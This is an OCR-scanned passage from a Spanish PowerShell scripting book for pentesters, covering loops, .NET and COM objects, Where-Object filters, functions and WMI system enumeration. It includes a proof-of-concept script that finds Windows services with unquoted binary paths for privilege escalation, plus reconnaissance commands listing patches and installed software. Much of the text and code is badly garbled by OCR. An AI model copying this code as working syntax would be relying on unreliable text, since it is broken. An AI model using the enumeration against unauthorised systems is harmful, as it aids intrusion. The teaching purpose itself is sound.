£] bucle for itera un cierto nimero de veces, cuyo valor es conocido desde el principio y no debe
cambiar durante su ejecucion. Es muy utilizado para recorrer listas y estructuras de datos como los
wrray. ‘
£] funcionamiento que tiene un bucle for es el siguiente:

- Seevalta el inicio. normalmente es la inicializacion de una variable.

- Se evalta la condicién, cuando ésta sea falsa se termina ¢l bucle

- Sila condicion es verdadera, se ejecutan las instrucciones.

- Laexpresion se incrementa y se vuelve a evaluar la condicién.

Su sintaxis es sencilla y es la mostrada a continuacion.
Para (inicio; condicion; incremento)

Blogue de instrucciones
I Para

", gequndo’ ; 'Tereerc

Sarray._englh; Si++)

Foreach

El foreach, ¢ ers enguaj i
|/ ‘l‘ll Ll1 wlmn puede verse en el lenguaje de programacion C'#, permite ir recorriendo un conjunto
0 listado de elementos u objetos. s mé i i " :
s u objetos. Es mas un cmdlet que una instruccion. ye + dispe
e que una instruccion, ya que dispone del emdler

La sintaxis para utiliza i
sintaxis para utilizar este tipo de bucle es la siguiente:
Para cada ¢, ; ‘
ara cada elemenio en coleecion_elementos
Blogue de instrucciones

1)
Fin Para cada

En ¢! sigui .

- 1guiente eje s i RaAT: y

e bucl'-IL~mpIU se 'pu‘.d«. visualizar como tras la ejecucion de un listado de un directorio
¢ se puede ir recorriendo los distintos elementos de la coleccion.

FotBach (s
: ach (Selement in Get-ChlldItem)

echo “5(5a1
vAivelaemer s M= - }a
mento,Name) atrib Selemento.Atzributes)”
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Do-While
Este bucle es especial ya que es postprobado, es decir, su condicidn de salida se comprueba una vez
se ha ejecutado el bloque de instrucciones previo. En otras palabras este tipo de bucle se ejecuta 1 o
N veces. La sintaxis del bucle en formato de pseudocédigo es la siguiente:
Hacer

Blogue de instrucciones

Mientras que (condicion)

El funcionamiento es similar al del bucle while salvo que la evaluacién de la condicion se realiza tras
la ejecucion de las instrucciones, por lo que al menos éstas seran ejecutadas una vez. En el siguiente
ejemplo se propone un menu, como el que se pudo estudiar en el caso del selector switch, para un
script.

do

i
Opecién 17
Qpeibn 2°
Salir”

While

El bucle while se ejecutara 0, 1 o N veces. Es un bucle preprobado mediante una condicion inicial
o varias, cuando éstas dejan de cumplirse se sale del bucle. Este tipo de bucle es el mas utilizado en
los lenguajes de programacién. Se suele utilizar cuando la condicion es preprobada y no se conoceel
niimero de iteraciones que se van a ejecutar. La sintaxis del bucle while es la que se puede visualizar
en el siguiente pseudocodigo.
Mientras que (condicion)
Bloque de instrucciones

Fin Mientras que

.Cémo funciona el bucle? El funcionamiento del bucle es sencillo v se divide en los siguientes
pasos:
- Se evalta la condicion.
- Silacondicion es falsa se sale del bucle sin ejecutar instrucciones.
- Sila condicion es cierta se ejecuta el blogue de instrucciones.

- Se vuelve a iterar evaluando la condicion.

En el siguiente ejemplo se implementa un contador mediante un bucle while.

Capitulo 11. Scripting en PowerShell

Write-Host “iteracion numero § (Sceont)”

scontt+

poC: Encontrando servicios vulnerables

En esta prueba de concepto se presenta la posibilidad de detectar rutas de binarios de servicios de
Windows la cuales no se encuentran especificadas entre comillas. Esto presenta un problema y es que
si una ruta no estd entre comillas Windows ejecutard la primera ruta que se encuentra valida hasta el
primer espacio, es decir, si se tiene la siguiente ruta C:\Program Files'pablo software\binario.exe se
cjecutaria C:\Program.exe en el caso de existir.

Dicho de otra manera, detectando esto un atacante puede aprovecharse de este handicap para
provocar una escalada de privilegios tras la ejecucion de un binario creado para la ocasion.

Mis adelante en el libro se puede encontrar alguna prueba de concepto mas. ya que esta técnica esta
implementada en frameworks de pentesting con PowerShell. En este apartado se presenta un scrip!
que se apoya en la obtencidn de un listado de servicios que se ejecutan en la maquina y con un bucle
foreach se van recorriendo.

Por cada elemento que se recorre. los cuales son objetos con distintos atributos y propiedades que
representan servicios en el sistema. se hacen una serie de comprobaciones. Lo importante ¢n el caso
de los servicios es la ruta donde se encuentra el binario y para ello se utiliza el pathname por cada
clemento recorrido. Se comprueba que el pathname no sea nulo, no sea vacio y que no comienza
por comilla.

Una vez que se comprueben estas cosas se comprueba que la ruta no sea i(Windows. y por altimo se
muestra la informacion de los servicios cuyo binario no se encuentra en una ruta que comienza por
comillas y que tienen la posibilidad de contener espacios en su ruta, por lo que serian potencialmente
vulnerables.

vices = gwmi win32
reach {Selemento in §Servi
It ((!Selemente. pathname.Eguals (™) )—-and(!Selenanto,pathname.
WLWith (™ “") ) -and ($=lementc.pathname -re $null))
Selem = §elemento.PzthName Ig(™ ™[0

if((!Selem.Contains (*: \Wind ?3))

Selemento.Pathiamre

rento, Name
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' T 10 e 3, N Qi e e .-(ID:

En la imagen se puede visualizar la salida de la ejecucion del seript. Coma se¢ puuu‘\/ughd) s

< ‘v * - : I all Il . Y : e =i ‘ A l"l..'-\.') .

rutas vulnerables, como son C:\Program Files (x86)\Alcohol Sofi'\dlcohal 52\ AxAutoMnidrv.exe y
as ’ ) T AS PR 7 ) A A Se 8 oy e,
C:\Program Files (x86)\Alcohol Soft'Alcohol 52\StarWind StarWindServiceAE.exe

TxB6) . Alcoha]l SoTt.Alcohol 52 AxAutaMntSrv.exs

1/bin/pa_ct1.exe

-E productio
by.exe -C 'C

C:irerasploitiruby'bin'ruby. exe -C "C:

netasploitThin iy

C:\metasploitiruby bin\ruby.exe -C "C:

. = e 1 sl ek arkicndt Starwi ndServi

C:\Program Files (x86)\Alcohel Soft\Alcohol S2iStarkinciatart ndServic
3 ogr am e x56)

StarwindServiceAE

2'\VBoxService. exe

f 0o } y ¥l s SEIVICHOS S '(‘)HI‘//L\
Fia. 2.10: Obtencicn de pistas en binarios de servicios §in ¢ &

9. Creacién de objetos .NET

’ i ilizar ¢ snites con interfaces NET Framework
La linea de comandos de PowerShell permite utilizar componentes con nterfaces . NET 4
. : ¥ 1 - > - |1 111 2 < » g /'\
v COM. De este modo e] usuario debe entender que no sc limita al uso de emdler

New-Object - Ny

El emdlet New-Object permite crear objetos desde /"u\\.-m-.h'/zu//4 E‘..\‘l\it mdlet pet Ivnll.k L-ll\.l(}l'l'llhzﬂl'ltlas
de una clase de .NET. En el siguiente ejemplo se utiliza la clase .\»\:.\/L‘HI.[)IL.I‘L'III).\/H'\‘.._[\'.L.ljl Z)g eg‘
PowerShell v2. la ejecucién seria la siguiente New-Object —~Tipe System.Diagnostics.LyentLog <

AreumentList Application. |

i 4 > g¢ pasan como valore§
La ejecucion anterior se denomina constructor, ya que los argumentos que s€ pasan com

son utilizados en un método especial.

i i —Argun i Applicati
IPS C:\Users\pablo> New—-Object ~TypeNane System.D1agnostlcs.EuentLog ArgumentlList Applica

Entries Log

20.979 Application

Max<K> Retain Overflouwfiction

@ OverwritefAsNeeded

IPS C:\Users\pabhlo>
Fiw. 2.11: Creacion de objeto.

~uariable haciendo referencia a éste.
El objeto creado anteriormente puede ser almacenado en una variable, haciendo l.LILIL az
ih a cac1O ol ¢orrt o suario.
este modo el objeto puede ser utilizado durante la sesion o el seript por el usua

i izaci ¢ c ¢ as ocasiones €
PowerShell puede realizar gran cantidad de canalizaciones. aunque en a‘lgu:msl oce il
: 1 jetos ¢ e poder arlos a
interesante utilizar variables para almacenar objetos con el fin de poder manipula ap
con mayor facilidad.
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Creacion de objetos COM

ge puede utilizar el emdlet Neve-Object para trabajar con los componentes COM. Estos componentes
pmpurcionar desde diversas bibliotecas que son incluidas en Windows Script Host, WSH, hasta
aplicaciones ActiveX, como por ejemplo el famoso navegador de Microsoft Internet Explorer.

La mayoria de los objetos conocidos como WSH pueden crearse especificando lo que se denomina
ProglD. Estos ProglD pueden ser WScript.Shell, WScript.Network, Seripting. Dictionary y Seripting.
FileSystemObject. A continuacién se enumeran los comandos que permiten a un usuario crear este
tipo de objetos:

- New-Object -ComObject WScript.Shell.

- New-Object —ComObject WScript.Network.

- New-Object -ComObject Scripting.Dictionary.

- New-Object -ComObject Scripting.FileSystemObject.

para ejemplificar qué cosas se pueden llevar a cabo con este tipo de objetos se van a crear accesos
.ixrccu-)s con WScript.Shell. En este ejemplo se quiere crear un acceso directo, el cual vincule a
una carpeta personal del usuario. En primer lugar se debe crear una referencia a WS riptl.Shell y
almacenarla en una variable, por ejemplo $wshshell = New-Object - ComQbject WSeript.Shell. Para
poder evaluar los metodos y propiedades disponibles en este objeto se puede utilizar el cindier Get-
Wember, por lo que si se ejecuta Swshshell | Ger-Member se obtendran diferentes métodos que
pueden ser lanzados por el usuario.

PS C:\Users\pablo> $ush = New-Object —-ComObject WScript.Shell
P8 C:\lUsers\pabhlo> Sush

pecialFolders

CurrentD

ysten. __ComObject C:\Users\pahlo

\pahlo> Swsh ! Get—-Member

TypeNane: System._ComObject#{419044808-he18-11d3—-a28h-00184bd35890>

MemberType

hool AppActivate (Variant, Uariant)
IDispatch CreateShortcut (string)

IWshExec Exec {(str»ing)

string ExpandEnvironmentStrings (string)
bool LogEvent (Uariant, string, string)

int Popup {(string, UVariant, Uariant, Uariant)
void RegDelete (string)

Uariant RegRead (string)

void Regllrite (string, Uariant, Uariant)
Method int Run (string, Uariant, Uariant)

Method void SendKeys (string, Uariant)
ParameterizedProperty IWshEnvironment Environment C(Uariant) {get>
Property string CurrentDirectory () {getd {set)
Property IWlshCallection SpecialFolders () {get>

lctivate
teShortcut

Method
Method
gt Method
ndEnvironmentStrings Method
ns Method
Method
Method
Method
Method

Fig. 2.12: Creacion de un objeta COM en Powershell.

El método WSeript.Shell. Cre

® ' ateShortcut acepta un argumento, el cual es la ruta del archivo de
©e50 directo que se

quiere crear. Se puede utilizar una ruta de tipo absoluta, es decir. una ruta
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completa al directorio ¢
se gjecuta la siguiente instruccion sobre |
CreateShortcut( " <ruta directorio>").

n el que se quiere crear el acceso directo. Para crear el acceso directo
a linea de comandos de PowerShell Sink = Swshshell,

Filtros

El emdlet Where-Object permite evitar que un objeto pase por una canalizacion si no cumple con
la condicion requerida. En otras palabras, Where-Object probara cada objeto de la canalizacién y lo
pasara por ésta solo si cumple una determinada condicién. Logicamente, los objetos que no superen
la prueba se quitan de dicha canalizacion. La condicion a probar por el endlet se proporciona como

el valor del parametro Where-Object -FilterSeript.

En este apartado se va a mostrar un ejemplo sencillo de uso de FilterScript, pero {Qué es el
FilterSeript? Realmente es un bloque de seript, es decir uno 0 mas comandos de PowerShell que
son especificados entre llaves. El parametro FilterScript es evaluado a true o false. El bloque de
seript puede contener codigo muy sencillo, pero se debe tener claro algunos conceptos previos,
Generalmente, el cédigo del interior de un bloque de seript seran operaciones de lipo comparacion,
El operador realizard una comparacion entre los elementos que aparecen a ambos lados del operador,
Los operadores de este tipo pueden visualizarse en la siguiente tabla de elementos:

Comparador Descripcion
-eq Igual a
-ne Distinto a
-1t Menor que
-le Menor o igual que
-gl Mayor que
-ge Mayor o igual que
-like Es como
-contains Contiene
-notlike No es como

Tubla 2.06: Elementos de comparacion para FilterScript.

Los bloques de script que utiliza el emdlet Where-Object utilizan una variable especial, la cual es §

Esta variable hace referencia al objeto actual que se encuentra en la canalizacion.

En el siguiente ejemplo se pasan diversos objetos al emdlet Where-Object. los cuales son evaluad®
para comprobar si la longitud de dichos objetos es mayor de 5. La instruccion ejecutada ¢
siguiente “pablo ", "sandra”, “natalia” | Where-Object {$_.length —gt 5]. Esta instruccion desec
el nombre pablo por no cumplir con la condicién de que su longitud sea mayor de 5.
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Como se ha visto en el ejemplo anterior la variable especial §_ tiene acceso a las propiedades de lo
objetos. y esto es realmente til, ya que permite al usuario é})romcharse de todo ¢l|- OEC;]‘-".]L- \%
aportan los objetos. Imaginando un sistema Windows y utilizando la clase Win32 Srw!;m DLl )LIL;C
1M se puede filtrar por las propiedades de ésta el contenido que se quiere \'iSL;z;I}}e;u: B

Como ejemplo se presenta la siguiente instruccion Get-WmiObject —Class Win32 SvstemDriv
. g -)v "' 2 ngey u " 2 LA 'A o 5o . L)i
Where O/ycc{ d[ ilterScript {8_.State —eq “Running"}. Previamente para poder visualizar los
métodos y propiedades de los objetos se podia ejecutar Ger-WmiOhj {i : :
3 ] ret-WmiOhbject —Class Win32 SystemDriver
ety ) 32 SystemDriver

La lista que .puede ser visualizada con las érdenes anteriores puede ain seguir siendo muy larg

puede ser (til concatenar condiciones, por ejemplo. de la siguiente manera Get- WmiObj . (d/r:a
WWin32 SystemDriver | Where-Object —FilterScript {$_.State —eq “Running”} | Wi ,.{PC’/ -
FilterSeript {S_.StartMode —eq “Auto”}. - == Bl

Ahora se pueden utilizar cmdlets que den formato a la salida y concatenarlos al final de la instruccic

ejecutada anlt(.‘l:im'menle. Como se puede visualizar es réalmemc‘ utilizar filtros ¢ ule n;v[ HTTIU{]
encontrar la informacion que el usuario necesita en cada instante. Se puedé evitar L;ti[?/‘l' 'l-’ l'l(-L’*nv-\d
los cmdlets Where-Object si se utiliza un operador logico —and en este caso T

El ¢jemplo anterior quedaria de la siguiente manera Ger-WmiObject —Class Win32 SystemDriver

here- soct —FEilterSerr “ . » : il T =
Where-Object —FilterScript {(5_.State —eq “Running") -and (§_.StartMode —eq “Auto”)}
1 4 2

s\pablo> Gat‘-.\)l;:iohjnct =Claczes Win32_ SyztemDriver |

de —eq "Auto Where=Object -FilterScript ((5_.State -eq “"Running"y -and ¢

lrplayN : Link-L ) Y isc J i

ey ayNane 3 ”:‘};inaym Topology Discovery Mapper 1/0 Driver

tate : Running

tatu : 0K

tarted : True

isplayNane : Uirtualizacidén de archivos UAC
‘ luafu

: Running

: 0K

ed : True

playNane NotGroup Packet Filter Driver
np

: Running
: OK X

: True

: PEAUTH
: PEAUTH

: Running
: OK

: True

Fig. 2.13: Utilizacion de filtros de objetos con Powershell,

10. Utilizacion de clases y métodos de .NET

Notodas las clacee da Atz 2

al 'mc:l:x]rlﬁ:\llzhre: ;:h :)\fsf./-ramenju/'k se puedcn‘crcar con cll emdlet New-Object. En algunos casos

tadicande e hé‘ enc:, (t)pzraulva se obte‘ndra un mensaje de error desde la linea de comandos

EOreS? S producar 4 e 1trado el constructor adecuado para ese tipo. ;Por qué se producen estos
1 debido a que no hay una manera de crear un objeto a partir de dichas clases
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que quieren ser utilizadas. Estas clases son bibliotecas de referencia de métodos y propiedades que
no cambiaran de estado. En otras palabras, solo se tendran que utilizar sin mas.

A continuacion se muestra un ejemplo de como utilizar las clases y los métodos de éstas. Para hacer
referencia a una clase estatica, por ejemplo System. Environment, s¢ debe especificar ¢l nombre de
la clase entre corchetes. En otras palabras se puede escribir en PowerShell [Svstem.Environnient]
y se obtendra informacién general sobre el tipo que s€ esta tratando. Como nota extra indicar que
también se puede omitir la palabra Sysfem invocando [Environment] directamente.

,Qué hace Svstem. Environment? Esta clase estatica contiene informacion sobre el entorno de trabajo
del proceso actual, el cual es PowerShell.exe cuando se trabaja en la linea de comandos de Microsoft,

Para poder visualizar los métodos estaticos de la clase se puede utilizar el emdlet Get-Member comg
se hacia con los objetos anteriormente. Por ejemplo, si se quiere obtener los métodos estaticos se !
gjecuta [Svstem. Environment] | Get-Member —Static.

PS C:=\Users\pablo> [Sy:tcn.Enuivunmuntl i Get-Momber —Static

TypeNane = Systen.Environnent

MonberType Definition
tem.Object objf, Sys em.Object obhjB)
static § int exitCode?
static s < mentUariables
static S pm.Uol FailFast{string nes
static stringll GetCommandLinefrgs (>
tEnvi i Hethod static string GntEnuirnnncntUarinhlc(string variable), static atring
etEnuvironmentUariables Hethod g:tﬂn.CollucLiunc.lDictionarv GccEnuirunnentUnriablcn(). stat
tFolderPath Method ing GctFuldchnth(Syct:n.Enuironncnt'SpecialFoldcr folder>
tLogicalDrives Hethod i tringl] Gethogic i <
IReferencoEquals Hethod L 3 o
SetEnvironnentUariable Hethod 0i
ommnandLine Property E i .String CommandL
urrentDirectory Property String entDirectory {getiset;’
[ExitCode Property nt32 ExitCode {ge et ;2
asShutdounStarted Property Y .Boolean HasShutdownStarted (get;>
achineName Property ic Systen.String HachineNane {get;>
i Property Systen.String Newline {get;>
S en.OperatingSysten 0SUersion {get;>
orCount (get;>
ace {get;>

Method static
Hethod
Method
Method
Method

ring name)

Object ohjf, System.Object objB>
able(string variable. string value), =

Property
Property ic S
Property i
Property
Property
Property
Property
Property
Property
Property

en.1nt32 Froce
ten.String Stac
stem.String Systcnbircntnrg {gets;>

IStackIrace 8
8

- g stem.Int32 TickCount {get;
S

stamDirectory

ckCount
serDonainName
serintoractive
serNamc

DonainNane {get;>

nteractive {get;)
Systen.String UserNane {gets:)
Systen.Uersion Uersion {get;)

exsion
static System.Int64d WorkingSet {get;>

orkingSet

Fig. 2.14: Obtencion de niétodos estaticos en clases de NET Framework.
Para poder listar las propicdades de la clase estatica se puede utilizar la siguiente instruccion /Syste
Environment] | Get-Member -MemberType Property. De nuevo es fundamental el uso del cmd
Get-Member para poder listar las propiedades de la clase.

Para poder leerel valor de las propiedades se utiliza *::" para indicar a PowerShell que se quiere utiliz
una propiedad o un método estatico. Por ejemplo. si se quiere acceder al usuario que ha lanz®
el proceso de PowerShell se puede ejecutar [Svstem. Environment]:: UserName, tal y como puck
visualizarse en la imagen. Otros ejemplos interesantes es la utilizacion de la propiedad OSVersh
la cual indica qué version de Windows se esta ejecutando, o la propiedad H(/,vS/u(/dm\'uSlul'“’dv
cual indica si el equipo se esta apagando. Existen multitud de métodos y propiedades en esta cl
extrapolando esto al uso de otras clases estaticas de .NET se puede dilucidar un gran potencial

el scripting en PowerShell.

( 'Lg/u'/]//(l 11, .S(‘i‘l'/.l/l')i‘g' en PowerShell

PS C:\Users\pablo> [§ i
S S ys_tem.Enuu-onncnt]::C m i
'C- \WINDOWS\system32\HindowsPowerShe 11\ul .323333@?\211. exe"’

S C:\Users\pab s i
S pablo> [System.Environmentl::UserInteractive

IPS C:\Users o B
ablo—unel \pablo> [System.Environmentl::UserDomainNane

gb&);\llsers\pahlo> [System.Environnent 1: :UserName

Fig. 2,15 Lectura de provieda iti
ig. 2.15: Lectura de propiedades estdaticas de clases NET Framework

Otra cla:se estatica .interesanle es Svstem.Math, la cual permite realizar algunas operaciones
misteaticas 'Comple_,as. Se puede utilizar el emdler Get-Member de nuevo para oElcn; :1' itﬁ‘:l-“.hzl-l.u
acerca de qué cosas se pueden realizar con la clase. Es realmente inlcrcséuuc ])l'Oﬂlﬂd:7'lr \Kollljiauo?
lema. ya que como se mencionaba anteriormente, abre un nuevo mundo de |)0\‘ibili(_i‘ti |-\. I.L.Lm
scripting €n PowerShell. = ades para el

11. Funciones

Una funcion es una secuencia de cédigo aislada que realiza una o varias acciones para devols

valor. Pueden recibir parametros de entrada para trabajar con estos \Llll)l't“i \v'.mbnl : -J "y ‘ C ‘I.H

reutilizar codigo. de este modo se evita no tener que escribir c(wdi”(; rCDe'i(].-w-): Jis ”‘m% ”Hh,\ e

desarrollo. Las funciones pueden ser invocadas desde cualquier pinm dskun\\:—-IA]f,k,vlb‘m”‘].\ B
* - - . .

El provider de las funciones

El proveedor de las funciones es n d¢

| [l. 'LL(I( r de las funciones es un almacén donde se pucde navegar y realizar operaciones sobr

as distintas fonciohas an al &htse y o ligsiagaha i

l. distintas funciones en el entorno de PowerShell. Para trabajar sobre este proveedor j

; b e . . " Ljar ¢ L D [CCAOT SE ¢€)ecLid

vorden cd function: y se pueden utilizar los emrdler que permiten navegar entre di i

salinar anny 3 ) B 2 . e : ‘ o

realizar acciones sobre el almacén. i il o
lindows PowerShell

opyright (C> 2889 Microsoft Corporation. Reservados todos los derechos

lola bhit-PC\pablo bienvenid
C: ers\bit 92/28/2@15 ‘; 2ne ed
Function:\ 82/28/,2812 18:

21:11 > cd function:
16 > dir

mnandT ype

R Definition

. 1on

ction
et

Set-Location
Set-Location
Set—Location
Set-Location
Set—Location

—_—r .
Fig. 2.16: Listado del proveedor de fitnciones

Crear funciones

En la i
- inea de ¢ .
! comandos de PowerShell las funciones est

Continuacion se an definidas por diversos elementos. A

enumer: s diferentes i
1eran los diferentes elementos que definen una funcion:
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- Palabra reservada functioi.

- Nombre de la funcion.

- Ambito de la funcién, aunque este elemento es opcional.

- Argumentos que son pasados a la funcion. Se pueden pasar desde 0 hasta N argumentas,
aunque también son un elemento opcional.

- Bloque de instrucciones. Este blogue es ejecutado cada vez que se invoca la funcion.

- Parametros a devolver. La funcion puede devolver o noun resultado.

A continuacion se muestra el pseudocodigo que se utiliza para definir las funciones. La sintaxis es

sencilla. \

Funcién [Ambito] nombre de la funcion [(lista argumentos)]
Blogue de instrucciones

Fin Funeion

Un ejemplo basico es la creacion de una funcién la cual no recibird ninglin argumento y ejecutari
un listado sobre el directorio actual y mostrara los atributos de los archivos gue se encuentran en

>

dicho directorio. Para ejecutar la funcion basta con escribir su nombre en cualquier punto del script |
o la shell.

funcstion listat Atributos

Para observar el contenido de las funciones, es decir, su codigo, se puede utilizar ¢l emdlet ger-
content sobre el almacén de las funciones.

S C:\Users\bit 92/28/,2612 18:40:51 > cd function:
PS Punction:\ 92/28/2012 18:48:53 > Get—-Content 11

};mw:;\ch ¢(Selemento in Get-ChildItem)
s
echo “"$(5elemento.name’ atrihutns:$($cluncnt0.attrihutct)“
b3
b Function:\ #2/28/2012 10:40:58 > W

Fig. 2.17: Capiura de codigo de una funcion implementada.
Cuando el usuario necesite pasar valores a una funcion se pueden utilizar dos formas distints
La primera de las formas es mediante argumentos, mientras que la segunda es mediante el uso
parametros. La diferencia radica en que, por ejemplo, la posicion del argumento en el paso de
a la funcién si importa, mientras que en ¢l caso de los parametros esto no ocurre, ya que el valor

acompafiado del nombre del parametro, por lo que su posicion no aporta significado.
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12. Administraciéon y recopilacion de informacion

El usuario puede realizar un control administrativo sencillo de los sistemas de forma interactiva o a
través del uso del scripting. La administracion en sistemas Windows esta totalmente implementada
gracias al uso de la linea de comandos de PowerShell, la cual ofrece un gran m’xmero'de cmdlets
y opciones a través de otras tecnologias como, por ejemplo, el lenguaje de instrumentacion WM.

Como se ha podido estudiar en el capitulo PowerShell no se basa solo en emdlets y utiliza otras
tecnologias para poder resolver todas las necesidades de usuarios, administradores y por extension
de los pentesters. A continuacion se van a estudiar una serie de ejemplos de administracion bésica
que puede ayudar a recopilar informacion del sistema y gestionarla.

La administracion de procesos y servicios locales es algo basico y fundamental para controlar lo
que se estd ejecutando o se ejecutard en el sistema. Se puede realizar una inspeccion o filtracién de
procesos y servicios utilizando los siguientes emdlets:

Cmdlet Descripeion

Devuelve un listado de los procesos que se ejecutan en la maquina. Es
posible utilizar ciertos parametros como Id para especificar el nimero del
PID que se quiere filtrar. Por supuesto s¢ puede utilizar el emdlet Where-
Object para filtrar en funcion de una o varias condiciones. Por ejemplo,
Get-Process | Where-Object {$_.pid —gt 2000}

Get-Process

Este cmdlet permite detener un proceso del sistema, el cual se puede
especificar a través del pardmetro - Name 0 —Id. Como ejemplo se muestra
la parada de procesos que no estan respondiendo Get-Process | Where-
Obhject —FilterSeript {$_.Responding —eq Stalse} | Stop-Process

Stop-Process

Permite listar los servicios que hay en el sistema, pudiendo filtrar el estado
en el que se encuentra, por nombre, eteétera. Por ejemplo. para visualizar
los servicios que se encuentran ejecutédndose en el sistema se puede
lanzar la siguiente instruccion Ger-Service | Where-Object |$_.status —eq
“Running"'}

Con este cmdlet se puede cambiar el estado de un servicio de running a
stop

Get-Service

Stop-Service

Stari-Service Permite arrancar un servicio que se encuentra detenido

Permite detener un servicio y volverlo a arrancar, todo ello a través de un
emdlet. Como ejemplo se muestra el listado de servicios que son filtrados
por servicios que pueden ser detenidos y se lleva a cabo el reinicio. Ger-

Service | Where-Object -FilterScript |5_. CanStop} | Restart-Service

Permite suspender un servicio

Restari-Service

Suspend-Service

Tabla 2.07: Comandos para tratamicnto de procesos y servicios.
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para recopilar informacién acerca de los sistemas donde el peniester se encuentra se puede utilizar
un emdlet muy til como es Ger-WmiObject. Este emdlet puede acceder a toda la configuracion
fundamental de los subsistemas que son expuestos mediante el lenguaje de instrumentacion WM.
Con este lenguaje se pueden realizar tareas avanzadas con poco esfuerzo.

A continuacion se muestran diversos ejemplos de recopilacion de informacion que pueden resultar
muy Gtiles en el momento de realizar un seript. Estas instrucciones pueden ser utilizadas por un
pentester durante las primeras fases de un test de intrusion.

Descripcion
La clase Win32_BIOS de WMI permite recolectar
informacion completa sobre la BIOS del sistema.

Instruccion

Get-WmiObject —Class Win32_
BIOS —ComputerName .

La clase Win32_Processor de WMI permite recolectar
informacion general de los procesadores. Es altamente
probable que se quiera filtrar entre toda la informacién
que reporta esta instruceién, por lo que se puede utilizar
Select-Object para ello, por ejemplo Ger-WmiObject
-Class Win32 Processor -ComputerName . | Select-Object
-Property [az]*

Get-WmiObjeet -Class Win32_
Processor —ComputerName .

La clase Win32 ComputerSystem de WMI permite
obtener informacién del modelo del equipo. Se pueden
conseguir datos como el dominio, el nombre de méquina,
manufacturer o el propietario

Get-WmiObject -Class Win32_
ComputerSystent

La clase Win32 QuickFixEngineering de WM permite
obtener todas las revisiones instaladas. Esto puede
ser realmente til para que el pentester conozea que
parches hay instalados en la maquina. Puede resultar
interesante filtrar por alguna propiedad como es HotFix/D
Get-WmiObject -Class Win32_QuickFixEngineering
-ComputerName . -Property HotFixId

Get-WmiObject -Class
Win32 QuickFixEngineering
-ComputerName .

La clase Win32 OperatingSystem de WMI permite

recopilar informacion sobre la versién del sistema

operativo y los Service Pack instalados. Para poder

listar los usuarios y propietarios locales se puede

utilizar la instruccion Ger-WmiObject -Class Win32

OperatingSystem -ComputerName . | Select-Object
-Property NumberOfLicensedUsers, NumberOfUsers,
= RegisteredUser

Get-WmiObject -Class Win32
LogicalDisk -Filter "Driveijpe: 37
L -ComputerName .

Get-WmiOhject -Class Win32_
OperatingSystem -ComputerName .

La clase Win32 LogicalDisk de WMI permite recopilar
informacion sobre el espacio en disco disponible
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Instruccion Deseripeion

La clase Win32 LogonSession de WMI permite obtener
informacidn sobre las sesiones indiciadas asociadas a
usuarios

Get-WmiOhbject -Class Win32_
LogonSession -ComputerName .

Tubla 2.08: Recopilando informacion con Ger-WmiObhject.

Recopilando informacion sobre el software de la maquina

El usuario puede tener acceso a informacién sobre el software de la maquina, por ejemplo a través del
uso de la clase Win32_Product de WMI. Con el uso de esta clase se pueden gestionar las aplicaciones
instaladas con Windows Installer, tanto en un sistema local como remoto.

Ejecutando la instruccion Get-WmiObject —Class Win32_Product —ComputerName . se puede
obtener un listado de aplicaciones instaladas con Windows Installer. Se puede obtener informacion
como el nombre de la aplicacién, la version, el vendor, etcétera. Los cmdlets Select-Object y Where-
Object pueden ayudar al usuario a filtrar las propiedades que se necesiten.

PS C:\Users\pablo> Get—\miObject —Class Win32_Product —ComputerName

{DSF3BAEC-A8DA—4EB5-B74F-A132D61DDA4D>
FOCA Free

Informaticabt4

Jie2 i

FOCA Free

{95120008—-BAB? -B409 -1 0AA-BOBABAAFF1 CE>
Microsoft Application Error Reporting
Microsoft Corporation

12.0.6015 .5060

Microsoft Application Error Reporting

{991 40ABR—-AB11-PAP6—180B-NRRABAABFF1CE>
Microsoft Office Professional Plus 2018
Microsoft Corporation

14.0.4763.16808

Microsoft Office Professional Plus 2010

{991 40000-0Bn1-BCHN—1B0R-RHABBBBFF1CE>
Microsoft Office OneNote MUI (Spanish> 2818
Microsoft Corporation

14.6.4763 .18008

Microsoft Office OneNote MUI (Spanish) 2810

Identif yingNumber
Name ®

Uersion
Caption

Identif yingNumber

ersion
aption

Fig. 2.18: Obtencion de aplicaciones instaladas con Windows Installer:

.Coémo visualizar qué aplicaciones pueden ser desinstaladas? No se puede garantizar de que $¢
puedan encontrar todas las aplicaciones del sistema, se puede buscar todos los programas qué
aparecen en agregar o quitar programas. Esta caracteristica de Windows busca estas aplicaciones ef
las listas que se encuentran en la clave del registro HKEY LOCAL MACHINE ‘..S“Qﬂware"/\flicmsofll
Windows|CurrentVersion\Uninstall. Se puede visualizar los identificadores a través de las claves
de registro con la instruccion Is HKLM: \SOFTWARE \Microsofi\ Windows\CurrentVersion| Uninstall

para listar el nombre de las aplicaciones que pueden ser desinstaladas se puede ejecutar la siguiente
instruccion Is HKLM:\SOFTWARE \Microsoft\ Windows' Current] ersion\Uninstall | ForEach-Object
_Process { §_.GetValue(* DisplayName"')}. Con el emdlet ForEach-Object se puede ir evaluando
cada objeto, los cuales representan las claves del registro dénde se encuentran los uninstall de las
aplicaciones instaladas, y mostrando el nombre de la aplicacion.
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pS. C:NUsers\pahlo> 1s HEKLM:\SOFTWARE\Microsoft\Windous\CurrentUersion\Uninstall &
vpisplayName")> >
Kyocera Product Library
Microsoft Office Professional Plus 2618
oracle UM UirtualBox Guest Additions 4.3.28
WinRAR 4.28 <64-bitd g
jerosoft -NET Framework 4.5
Microsoft Uisual C++ 2010 x64 Redistributable — 10.0.40219
i goftuare Development Kit for Windows Store Apps Direct® x64 Remote
Microsoft Uisual C++ 2012 x64 Debug Runtime — 11.8.508727
crystal Reports Basic Runtime for Uisual Studio 2888 (x64>
Microsoft SQL Server 2812 Data—Tier App Framework
indows Softuare Development Kit Direct® x64 Remote
Microsoft SOQL Server 2012 Express LocalDB
Microsoft SQL Server 2012 Transact—SQL ScriptDon
jerosoft Uisual Studio Team Foundation Server 2012 Object Model
jcrosoft SQL Server 2012 Transact—SQL Compiler Service
Silverlight
Office Professional Plus 2018
Office Access MUI <(Spanish) 2010
Office Excel MUI <(Spanish)> 28180
Office PowerPoint MUI (Spanish) 2010
Office Publisher MUI (Spanish) 2018
Office Outlook MUI <(Spanish) 2616

Fig. 2.19: Nombres de las aplicaciones con los desinstaladores de Windows Install.

La clase Win32_Product permite instalar aplicaciones a través de Windows Instailer. Si se requiere
una instalacion remota se debe especificar la ruta de acceso al paquete .msi para la instalacién a
través de una ruta de red UNC. En ofras palabras, para instalar un paquete MS/ remoto se debe
especificar la ruta de red \\Servidordplicaciones\ruta. La instruceién para realizar una instalacion es
